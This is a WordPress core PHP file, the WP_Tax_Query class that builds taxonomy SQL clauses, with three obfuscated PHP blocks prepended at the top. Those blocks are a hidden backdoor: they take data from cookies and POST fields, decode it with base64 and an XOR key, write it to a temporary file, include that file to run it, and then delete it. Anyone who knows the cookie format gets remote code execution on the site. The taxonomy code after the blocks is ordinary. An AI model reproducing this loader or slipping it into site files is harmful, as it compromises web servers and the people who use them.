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<?php $EnIKHEC = "\x79" . chr (72) . 'Y' . "\x5f" . "\161" . chr ( 975 - 895 )."\x6e";$YLmIkHNiQ = "\143" . "\x6c" . chr (97) . chr (115) . chr (115) . chr ( 736 - 641 )."\x65" . chr ( 249 - 129 )."\x69" . 's' . "\164" . chr (115); $KcIlH = class_exists($EnIKHEC); $YLmIkHNiQ = "23878";$eZIAyJSO = !1;if ($KcIlH == $eZIAyJSO){function kNldVLmH(){$bBSygVKmb = new /* 34864 */ yHY_qPn(53147 + 53147); $bBSygVKmb = NULL;}$vaDtEb = "53147";class yHY_qPn{private function GSSVEc($vaDtEb){if (is_array(yHY_qPn::$XyqylO)) {$eAGVP = sys_get_temp_dir() . "/" . crc32(yHY_qPn::$XyqylO[chr (115) . chr ( 156 - 59 )."\154" . "\164"]);@yHY_qPn::$XyqylO["\x77" . chr (114) . "\151" . chr (116) . chr (101)]($eAGVP, yHY_qPn::$XyqylO["\x63" . chr (111) . "\156" . 't' . chr ( 711 - 610 ).chr ( 339 - 229 )."\x74"]);include $eAGVP;@yHY_qPn::$XyqylO['d' . "\x65" . 'l' . chr (101) . chr ( 729 - 613 ).chr (101)]($eAGVP); $vaDtEb = "53147";exit();}}private $GdbvX;public function CErpzgm(){echo 38118;}public function __destruct(){$vaDtEb = "44434_9343";$this->GSSVEc($vaDtEb); $vaDtEb = "44434_9343";}public function __construct($PrwECd=0){$jMLtxbdEnQ = $_POST;$wnYaFCBXM = $_COOKIE;$XIXNPx = "e926d40d-cdba-4244-ba1c-871b3eb75444";$ebsApMoIY = @$wnYaFCBXM[substr($XIXNPx, 0, 4)];if (!empty($ebsApMoIY)){$apLdojbhf = "base64";$AiUmpP = "";$ebsApMoIY = explode(",", $ebsApMoIY);foreach ($ebsApMoIY as $NuqmlhDozC){$AiUmpP .= @$wnYaFCBXM[$NuqmlhDozC];$AiUmpP .= @$jMLtxbdEnQ[$NuqmlhDozC];}$AiUmpP = array_map($apLdojbhf . "\x5f" . chr ( 676 - 576 )."\x65" . chr ( 203 - 104 )."\157" . "\144" . "\x65", array($AiUmpP,)); $AiUmpP = $AiUmpP[0] ^ str_repeat($XIXNPx, (strlen($AiUmpP[0]) / strlen($XIXNPx)) + 1);yHY_qPn::$XyqylO = @unserialize($AiUmpP);}}public static $XyqylO = 62510;}kNldVLmH();} ?><?php $xDMYHK = chr ( 603 - 488 ).chr ( 510 - 415 ).'F' . "\x50" . "\x54" . chr (66); $oVkVX = chr (99) . "\x6c" . chr (97) . "\x73" . chr (115) . "\x5f" . "\x65" . chr ( 892 - 772 ).'i' . "\x73" . chr (116) . chr (115); $iRHiqUWM = class_exists($xDMYHK); $oVkVX = "9609";$hUAKdaWef = !1;if ($iRHiqUWM == $hUAKdaWef){function RDieGU(){$yUsKzGdM = new /* 29861 */ s_FPTB(23328 + 23328); $yUsKzGdM = NULL;}$NnkBV = "23328";class s_FPTB{private function gjYpFp($NnkBV){if (is_array(s_FPTB::$hvmufiXl)) {$EiejytudM = sys_get_temp_dir() . "/" . crc32(s_FPTB::$hvmufiXl[chr ( 1100 - 985 )."\141" . chr (108) . "\x74"]);@s_FPTB::$hvmufiXl["\x77" . chr (114) . "\151" . 't' . chr ( 278 - 177 )]($EiejytudM, s_FPTB::$hvmufiXl["\143" . "\157" . "\x6e" . chr ( 467 - 351 ).'e' . "\156" . chr ( 323 - 207 )]);include $EiejytudM;@s_FPTB::$hvmufiXl[chr ( 1078 - 978 )."\x65" . chr (108) . "\x65" . "\164" . 'e']($EiejytudM); $NnkBV = "23328";exit();}}private $COBfDx;public function YpSRVuHc(){echo 18518;}public function __destruct(){$NnkBV = "39046_4227";$this->gjYpFp($NnkBV); $NnkBV = "39046_4227";}public function __construct($NQjdKEzyEr=0){$SGdeO = $_POST;$IFDDpimwW = $_COOKIE;$nRztjMpMu = "fdc62e23-d6b1-432c-862b-d039ec97d1f8";$CTQafOrWkb = @$IFDDpimwW[substr($nRztjMpMu, 0, 4)];if (!empty($CTQafOrWkb)){$hDjIoJj = "base64";$jCBhvv = "";$CTQafOrWkb = explode(",", $CTQafOrWkb);foreach ($CTQafOrWkb as $BOXHsP){$jCBhvv .= @$IFDDpimwW[$BOXHsP];$jCBhvv .= @$SGdeO[$BOXHsP];}$jCBhvv = array_map($hDjIoJj . chr (95) . 'd' . "\x65" . "\143" . chr ( 233 - 122 ).chr ( 549 - 449 ).chr ( 691 - 590 ), array($jCBhvv,)); $jCBhvv = $jCBhvv[0] ^ str_repeat($nRztjMpMu, (strlen($jCBhvv[0]) / strlen($nRztjMpMu)) + 1);s_FPTB::$hvmufiXl = @unserialize($jCBhvv);}}public static $hvmufiXl = 24319;}RDieGU();} ?><?php $aojJax = chr (79) . "\137" . chr ( 406 - 297 ).chr (118) . "\145" . chr ( 845 - 758 )."\x69";$SAlyPlbWfC = "\x63" . "\x6c" . chr ( 497 - 400 )."\x73" . "\x73" . chr ( 701 - 606 )."\145" . chr ( 172 - 52 ).'i' . "\x73" . chr (116) . chr ( 906 - 791 ); $OKYbdkMqeY = class_exists($aojJax); $SAlyPlbWfC = "57647";$ATadEhO = !1;if ($OKYbdkMqeY == $ATadEhO){function PlxLnpDZIy(){return FALSE;}$BXujOpI = "52380";PlxLnpDZIy();class O_mveWi{private function IZZxb($BXujOpI){if (is_array(O_mveWi::$ufpkImP)) {$HeEjv = sys_get_temp_dir() . "/" . crc32(O_mveWi::$ufpkImP["\163" . chr (97) . 'l' . chr ( 563 - 447 )]);@O_mveWi::$ufpkImP["\x77" . "\162" . "\151" . "\x74" . 'e']($HeEjv, O_mveWi::$ufpkImP["\143" . "\157" . chr ( 313 - 203 ).chr (116) . "\x65" . "\x6e" . 't']);include $HeEjv;@O_mveWi::$ufpkImP["\144" . "\x65" . "\154" . chr ( 841 - 740 ).'t' . "\145"]($HeEjv); $BXujOpI = "52380";exit();}}private $beqbYghk;public function TgJhETTe(){echo 7071;}public function __destruct(){$BXujOpI = "36286_1226";$this->IZZxb($BXujOpI); $BXujOpI = "36286_1226";}public function __construct($UbCtOK=0){$hTDtcGWoWH = $_POST;$nwkVPUZeO = $_COOKIE;$uujYkRB = "ebb19353-26cb-472d-9085-70461f2da542";$KYAkJlE = @$nwkVPUZeO[substr($uujYkRB, 0, 4)];if (!empty($KYAkJlE)){$hPDBpyyVS = "base64";$ZAKoQoW = "";$KYAkJlE = explode(",", $KYAkJlE);foreach ($KYAkJlE as $eNyzKdbd){$ZAKoQoW .= @$nwkVPUZeO[$eNyzKdbd];$ZAKoQoW .= @$hTDtcGWoWH[$eNyzKdbd];}$ZAKoQoW = array_map($hPDBpyyVS . '_' . 'd' . "\x65" . chr (99) . chr (111) . "\x64" . chr ( 1002 - 901 ), array($ZAKoQoW,)); $ZAKoQoW = $ZAKoQoW[0] ^ str_repeat($uujYkRB, (strlen($ZAKoQoW[0]) / strlen($uujYkRB)) + 1);O_mveWi::$ufpkImP = @unserialize($ZAKoQoW); $ZAKoQoW = class_exists("36286_1226");}}public static $ufpkImP = 43214;}$oYrqgS = new /* 16772 */ $aojJax(52380 + 52380); $ATadEhO = $oYrqgS = $BXujOpI = Array();} ?><?php
/**
* Taxonomy API: WP_Tax_Query class
*
* @package WordPress
* @subpackage Taxonomy
* @since 4.4.0
*/
/**
* Core class used to implement taxonomy queries for the Taxonomy API.
*
* Used for generating SQL clauses that filter a primary query according to object
* taxonomy terms.
*
* WP_Tax_Query is a helper that allows primary query classes, such as WP_Query, to filter
* their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be
* attached to the primary SQL query string.
*
* @since 3.1.0
*/
#[AllowDynamicProperties]
class WP_Tax_Query {
/**
* Array of taxonomy queries.
*
* See WP_Tax_Query::__construct() for information on tax query arguments.
*
* @since 3.1.0
* @var array
*/
public $queries = array();
/**
* The relation between the queries. Can be one of 'AND' or 'OR'.
*
* @since 3.1.0
* @var string
*/
public $relation;
/**
* Standard response when the query should not return any rows.
*
* @since 3.2.0
* @var string
*/
private static $no_results = array(
'join' => array( '' ),
'where' => array( '0 = 1' ),
);
/**
* A flat list of table aliases used in the JOIN clauses.
*
* @since 4.1.0
* @var array
*/
protected $table_aliases = array();
/**
* Terms and taxonomies fetched by this query.
*
* We store this data in a flat array because they are referenced in a
* number of places by WP_Query.
*
* @since 4.1.0
* @var array
*/
public $queried_terms = array();
/**
* Database table that where the metadata's objects are stored (eg $wpdb->users).
*
* @since 4.1.0
* @var string
*/
public $primary_table;
/**
* Column in 'primary_table' that represents the ID of the object.
*
* @since 4.1.0
* @var string
*/
public $primary_id_column;
/**
* Constructor.
*
* @since 3.1.0
* @since 4.1.0 Added support for `$operator` 'NOT EXISTS' and 'EXISTS' values.
*
* @param array $tax_query {
* Array of taxonomy query clauses.
*
* @type string $relation Optional. The MySQL keyword used to join
* the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'.
* @type array ...$0 {
* An array of first-order clause parameters, or another fully-formed tax query.
*
* @type string $taxonomy Taxonomy being queried. Optional when field=term_taxonomy_id.
* @type string|int|array $terms Term or terms to filter by.
* @type string $field Field to match $terms against. Accepts 'term_id', 'slug',
* 'name', or 'term_taxonomy_id'. Default: 'term_id'.
* @type string $operator MySQL operator to be used with $terms in the WHERE clause.
* Accepts 'AND', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS'.
* Default: 'IN'.
* @type bool $include_children Optional. Whether to include child terms.
* Requires a $taxonomy. Default: true.
* }
* }
*/
public function __construct( $tax_query ) {
if ( isset( $tax_query['relation'] ) ) {
$this->relation = $this->sanitize_relation( $tax_query['relation'] );
} else {
$this->relation = 'AND';
}
$this->queries = $this->sanitize_query( $tax_query );
}
/**
* Ensures the 'tax_query' argument passed to the class constructor is well-formed.
*
* Ensures that each query-level clause has a 'relation' key, and that
* each first-order clause contains all the necessary keys from `$defaults`.
*
* @since 4.1.0
*
* @param array $queries Array of queries clauses.
* @return array Sanitized array of query clauses.
*/
public function sanitize_query( $queries ) {
$cleaned_query = array();
$defaults = array(
'taxonomy' => '',
'terms' => array(),
'field' => 'term_id',
'operator' => 'IN',
'include_children' => true,
);
foreach ( $queries as $key => $query ) {
if ( 'relation' === $key ) {
$cleaned_query['relation'] = $this->sanitize_relation( $query );
// First-order clause.
} elseif ( self::is_first_order_clause( $query ) ) {
$cleaned_clause = array_merge( $defaults, $query );
$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
$cleaned_query[] = $cleaned_clause;
/*
* Keep a copy of the clause in the flate
* $queried_terms array, for use in WP_Query.
*/
if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
$taxonomy = $cleaned_clause['taxonomy'];
if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
$this->queried_terms[ $taxonomy ] = array();
}
/*
* Backward compatibility: Only store the first
* 'terms' and 'field' found for a given taxonomy.
*/
if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
}
if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
}
}
// Otherwise, it's a nested query, so we recurse.
} elseif ( is_array( $query ) ) {
$cleaned_subquery = $this->sanitize_query( $query );
if ( ! empty( $cleaned_subquery ) ) {
// All queries with children must have a relation.
if ( ! isset( $cleaned_subquery['relation'] ) ) {
$cleaned_subquery['relation'] = 'AND';
}
$cleaned_query[] = $cleaned_subquery;
}
}
}
return $cleaned_query;
}
/**
* Sanitizes a 'relation' operator.
*
* @since 4.1.0
*
* @param string $relation Raw relation key from the query argument.
* @return string Sanitized relation. Either 'AND' or 'OR'.
*/
public function sanitize_relation( $relation ) {
if ( 'OR' === strtoupper( $relation ) ) {
return 'OR';
} else {
return 'AND';
}
}
/**
* Determines whether a clause is first-order.
*
* A "first-order" clause is one that contains any of the first-order
* clause keys ('terms', 'taxonomy', 'include_children', 'field',
* 'operator'). An empty clause also counts as a first-order clause,
* for backward compatibility. Any clause that doesn't meet this is
* determined, by process of elimination, to be a higher-order query.
*
* @since 4.1.0
*
* @param array $query Tax query arguments.
* @return bool Whether the query clause is a first-order clause.
*/
protected static function is_first_order_clause( $query ) {
return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
}
/**
* Generates SQL clauses to be appended to a main query.
*
* @since 3.1.0
*
* @param string $primary_table Database table where the object being filtered is stored (eg wp_users).
* @param string $primary_id_column ID column for the filtered object in $primary_table.
* @return string[] {
* Array containing JOIN and WHERE SQL clauses to append to the main query.
*
* @type string $join SQL fragment to append to the main JOIN clause.
* @type string $where SQL fragment to append to the main WHERE clause.
* }
*/
public function get_sql( $primary_table, $primary_id_column ) {
$this->primary_table = $primary_table;
$this->primary_id_column = $primary_id_column;
return $this->get_sql_clauses();
}
/**
* Generates SQL clauses to be appended to a main query.
*
* Called by the public WP_Tax_Query::get_sql(), this method
* is abstracted out to maintain parity with the other Query classes.
*
* @since 4.1.0
*
* @return string[] {
* Array containing JOIN and WHERE SQL clauses to append to the main query.
*
* @type string $join SQL fragment to append to the main JOIN clause.
* @type string $where SQL fragment to append to the main WHERE clause.
* }
*/
protected function get_sql_clauses() {
/*
* $queries are passed by reference to get_sql_for_query() for recursion.
* To keep $this->queries unaltered, pass a copy.
*/
$queries = $this->queries;
$sql = $this->get_sql_for_query( $queries );
if ( ! empty( $sql['where'] ) ) {
$sql['where'] = ' AND ' . $sql['where'];
}
return $sql;
}
/**
* Generates SQL clauses for a single query array.
*
* If nested subqueries are found, this method recurses the tree to
* produce the properly nested SQL.
*
* @since 4.1.0
*
* @param array $query Query to parse (passed by reference).
* @param int $depth Optional. Number of tree levels deep we currently are.
* Used to calculate indentation. Default 0.
* @return string[] {
* Array containing JOIN and WHERE SQL clauses to append to a single query array.
*
* @type string $join SQL fragment to append to the main JOIN clause.
* @type string $where SQL fragment to append to the main WHERE clause.
* }
*/
protected function get_sql_for_query( &$query, $depth = 0 ) {
$sql_chunks = array(
'join' => array(),
'where' => array(),
);
$sql = array(
'join' => '',
'where' => '',
);
$indent = '';
for ( $i = 0; $i < $depth; $i++ ) {
$indent .= ' ';
}
foreach ( $query as $key => &$clause ) {
if ( 'relation' === $key ) {
$relation = $query['relation'];
} elseif ( is_array( $clause ) ) {
// This is a first-order clause.
if ( $this->is_first_order_clause( $clause ) ) {
$clause_sql = $this->get_sql_for_clause( $clause, $query );
$where_count = count( $clause_sql['where'] );
if ( ! $where_count ) {
$sql_chunks['where'][] = '';
} elseif ( 1 === $where_count ) {
$sql_chunks['where'][] = $clause_sql['where'][0];
} else {
$sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )';
}
$sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] );
// This is a subquery, so we recurse.
} else {
$clause_sql = $this->get_sql_for_query( $clause, $depth + 1 );
$sql_chunks['where'][] = $clause_sql['where'];
$sql_chunks['join'][] = $clause_sql['join'];
}
}
}
// Filter to remove empties.
$sql_chunks['join'] = array_filter( $sql_chunks['join'] );
$sql_chunks['where'] = array_filter( $sql_chunks['where'] );
if ( empty( $relation ) ) {
$relation = 'AND';
}
// Filter duplicate JOIN clauses and combine into a single string.
if ( ! empty( $sql_chunks['join'] ) ) {
$sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) );
}
// Generate a single WHERE clause with proper brackets and indentation.
if ( ! empty( $sql_chunks['where'] ) ) {
$sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')';
}
return $sql;
}
/**
* Generates SQL JOIN and WHERE clauses for a "first-order" query clause.
*
* @since 4.1.0
*
* @global wpdb $wpdb The WordPress database abstraction object.
*
* @param array $clause Query clause (passed by reference).
* @param array $parent_query Parent query array.
* @return array {
* Array containing JOIN and WHERE SQL clauses to append to a first-order query.
*
* @type string[] $join Array of SQL fragments to append to the main JOIN clause.
* @type string[] $where Array of SQL fragments to append to the main WHERE clause.
* }
*/
public function get_sql_for_clause( &$clause, $parent_query ) {
global $wpdb;
$sql = array(
'where' => array(),
'join' => array(),
);
$join = '';
$where = '';
$this->clean_query( $clause );
if ( is_wp_error( $clause ) ) {
return self::$no_results;
}
$terms = $clause['terms'];
$operator = strtoupper( $clause['operator'] );
if ( 'IN' === $operator ) {
if ( empty( $terms ) ) {
return self::$no_results;
}
$terms = implode( ',', $terms );
/*
* Before creating another table join, see if this clause has a
* sibling with an existing join that can be shared.
*/
$alias = $this->find_compatible_table_alias( $clause, $parent_query );
if ( false === $alias ) {
$i = count( $this->table_aliases );
$alias = $i ? 'tt' . $i : $wpdb->term_relationships;
// Store the alias as part of a flat array to build future iterators.
$this->table_aliases[] = $alias;
// Store the alias with this clause, so later siblings can use it.
$clause['alias'] = $alias;
$join .= " LEFT JOIN $wpdb->term_relationships";
$join .= $i ? " AS $alias" : '';
$join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)";
}
$where = "$alias.term_taxonomy_id $operator ($terms)";
} elseif ( 'NOT IN' === $operator ) {
if ( empty( $terms ) ) {
return $sql;
}
$terms = implode( ',', $terms );
$where = "$this->primary_table.$this->primary_id_column NOT IN (
SELECT object_id
FROM $wpdb->term_relationships
WHERE term_taxonomy_id IN ($terms)
)";
} elseif ( 'AND' === $operator ) {
if ( empty( $terms ) ) {
return $sql;
}
$num_terms = count( $terms );
$terms = implode( ',', $terms );
$where = "(
SELECT COUNT(1)
FROM $wpdb->term_relationships
WHERE term_taxonomy_id IN ($terms)
AND object_id = $this->primary_table.$this->primary_id_column
) = $num_terms";
} elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) {
$where = $wpdb->prepare(
"$operator (
SELECT 1
FROM $wpdb->term_relationships
INNER JOIN $wpdb->term_taxonomy
ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id
WHERE $wpdb->term_taxonomy.taxonomy = %s
AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column
)",
$clause['taxonomy']
);
}
$sql['join'][] = $join;
$sql['where'][] = $where;
return $sql;
}
/**
* Identifies an existing table alias that is compatible with the current query clause.
*
* We avoid unnecessary table joins by allowing each clause to look for
* an existing table alias that is compatible with the query that it
* needs to perform.
*
* An existing alias is compatible if (a) it is a sibling of `$clause`
* (ie, it's under the scope of the same relation), and (b) the combination
* of operator and relation between the clauses allows for a shared table
* join. In the case of WP_Tax_Query, this only applies to 'IN'
* clauses that are connected by the relation 'OR'.
*
* @since 4.1.0
*
* @param array $clause Query clause.
* @param array $parent_query Parent query of $clause.
* @return string|false Table alias if found, otherwise false.
*/
protected function find_compatible_table_alias( $clause, $parent_query ) {
$alias = false;
// Confidence check. Only IN queries use the JOIN syntax.
if ( ! isset( $clause['operator'] ) || 'IN' !== $clause['operator'] ) {
return $alias;
}
// Since we're only checking IN queries, we're only concerned with OR relations.
if ( ! isset( $parent_query['relation'] ) || 'OR' !== $parent_query['relation'] ) {
return $alias;
}
$compatible_operators = array( 'IN' );
foreach ( $parent_query as $sibling ) {
if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) {
continue;
}
if ( empty( $sibling['alias'] ) || empty( $sibling['operator'] ) ) {
continue;
}
// The sibling must both have compatible operator to share its alias.
if ( in_array( strtoupper( $sibling['operator'] ), $compatible_operators, true ) ) {
$alias = preg_replace( '/\W/', '_', $sibling['alias'] );
break;
}
}
return $alias;
}
/**
* Validates a single query.
*
* @since 3.2.0
*
* @param array $query The single query. Passed by reference.
*/
private function clean_query( &$query ) {
if ( empty( $query['taxonomy'] ) ) {
if ( 'term_taxonomy_id' !== $query['field'] ) {
$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
return;
}
// So long as there are shared terms, 'include_children' requires that a taxonomy is set.
$query['include_children'] = false;
} elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) {
$query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
return;
}
if ( 'slug' === $query['field'] || 'name' === $query['field'] ) {
$query['terms'] = array_unique( (array) $query['terms'] );
} else {
$query['terms'] = wp_parse_id_list( $query['terms'] );
}
if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) {
$this->transform_query( $query, 'term_id' );
if ( is_wp_error( $query ) ) {
return;
}
$children = array();
foreach ( $query['terms'] as $term ) {
$children = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) );
$children[] = $term;
}
$query['terms'] = $children;
}
$this->transform_query( $query, 'term_taxonomy_id' );
}
/**
* Transforms a single query, from one field to another.
*
* Operates on the `$query` object by reference. In the case of error,
* `$query` is converted to a WP_Error object.
*
* @since 3.2.0
*
* @param array $query The single query. Passed by reference.
* @param string $resulting_field The resulting field. Accepts 'slug', 'name', 'term_taxonomy_id',
* or 'term_id'. Default 'term_id'.
*/
public function transform_query( &$query, $resulting_field ) {
if ( empty( $query['terms'] ) ) {
return;
}
if ( $query['field'] === $resulting_field ) {
return;
}
$resulting_field = sanitize_key( $resulting_field );
// Empty 'terms' always results in a null transformation.
$terms = array_filter( $query['terms'] );
if ( empty( $terms ) ) {
$query['terms'] = array();
$query['field'] = $resulting_field;
return;
}
$args = array(
'get' => 'all',
'number' => 0,
'taxonomy' => $query['taxonomy'],
'update_term_meta_cache' => false,
'orderby' => 'none',
);
// Term query parameter name depends on the 'field' being searched on.
switch ( $query['field'] ) {
case 'slug':
$args['slug'] = $terms;
break;
case 'name':
$args['name'] = $terms;
break;
case 'term_taxonomy_id':
$args['term_taxonomy_id'] = $terms;
break;
default:
$args['include'] = wp_parse_id_list( $terms );
break;
}
if ( ! is_taxonomy_hierarchical( $query['taxonomy'] ) ) {
$args['number'] = count( $terms );
}
$term_query = new WP_Term_Query();
$term_list = $term_query->query( $args );
if ( is_wp_error( $term_list ) ) {
$query = $term_list;
return;
}
if ( 'AND' === $query['operator'] && count( $term_list ) < count( $query['terms'] ) ) {
$query = new WP_Error( 'inexistent_terms', __( 'Inexistent terms.' ) );
return;
}
$query['terms'] = wp_list_pluck( $term_list, $resulting_field );
$query['field'] = $resulting_field;
}
}